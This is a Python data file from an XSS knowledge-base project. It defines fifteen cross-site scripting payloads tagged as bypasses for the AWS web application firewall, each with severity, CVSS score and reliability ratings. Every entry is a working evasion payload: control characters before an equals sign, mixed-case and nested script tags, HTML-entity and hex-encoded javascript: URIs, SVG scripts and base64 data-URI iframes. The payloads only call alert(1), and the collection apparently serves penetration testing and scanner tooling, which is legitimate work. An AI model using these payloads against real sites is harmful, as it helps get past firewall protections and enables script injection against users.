#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

AWS WAF Bypass Payloads
"""

from ..models import PayloadEntry


AWS_WAF_BYPASS_PAYLOADS = {
    "aws_bypass_1": PayloadEntry(
        payload="<img src=1 onerror\x0b=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Vertical tab before equals sign",
        tags=["aws-waf", "img", "vertical-tab"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
    "aws_bypass_2": PayloadEntry(
        payload="<img src=1 onerror\x0c=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form feed before equals sign",
        tags=["aws-waf", "img", "form-feed"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
    "aws_bypass_3": PayloadEntry(
        payload="<ScRiPt>alert(1)</ScRiPt>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Mixed case script tag",
        tags=["aws-waf", "script", "case-variation"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="low",
    ),
    "aws_bypass_4": PayloadEntry(
        payload="<scr<script>ipt>alert(1)</scr</script>ipt>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Nested script tags",
        tags=["aws-waf", "script", "nested"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="low",
    ),
    "aws_bypass_5": PayloadEntry(
        payload="<script>/**/alert(1)/**/</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Comments in script",
        tags=["aws-waf", "script", "comments"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
    "aws_bypass_6": PayloadEntry(
        payload="<a href=javascript:alert(1)>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Basic javascript href",
        tags=["aws-waf", "anchor", "javascript-uri"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
    "aws_bypass_7": PayloadEntry(
        payload="<a href=java&#115;cript:alert(1)>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML entity in javascript protocol",
        tags=["aws-waf", "anchor", "entity-bypass"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_8": PayloadEntry(
        payload="<a href=java&#x73;cript:alert(1)>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Hex entity in javascript protocol",
        tags=["aws-waf", "anchor", "hex-entity"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_9": PayloadEntry(
        payload="<a href=&#106;avascript:alert(1)>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Entity at start of javascript",
        tags=["aws-waf", "anchor", "entity-start"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_10": PayloadEntry(
        payload="<a href=&#x6a;avascript:alert(1)>click</a>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Hex entity at start of javascript",
        tags=["aws-waf", "anchor", "hex-start"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_11": PayloadEntry(
        payload="<svg><script>alert&#40;1&#41;</script></svg>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="HTML entities inside script in SVG",
        tags=["aws-waf", "svg", "script", "entities"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_12": PayloadEntry(
        payload="<svg><script>&#97;&#108;&#101;&#114;&#116;(1)</script></svg>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Full entity encoding in SVG script",
        tags=["aws-waf", "svg", "script", "full-entity"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="high",
    ),
    "aws_bypass_13": PayloadEntry(
        payload='<iframe src="data:text/html,<script>alert(1)</script>">',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Data URI in iframe",
        tags=["aws-waf", "iframe", "data-uri"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
    "aws_bypass_14": PayloadEntry(
        payload='<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Base64 data URI in iframe",
        tags=["aws-waf", "iframe", "data-uri", "base64"],
        waf_evasion=True,
        bypasses=["aws-waf", "cloudflare"],
        reliability="high",
    ),
    "aws_bypass_15": PayloadEntry(
        payload="<object data=javascript:alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Object with javascript data",
        tags=["aws-waf", "object", "javascript-uri"],
        waf_evasion=True,
        bypasses=["aws-waf"],
        reliability="medium",
    ),
}

AWS_WAF_BYPASS_PAYLOADS_TOTAL = len(AWS_WAF_BYPASS_PAYLOADS)
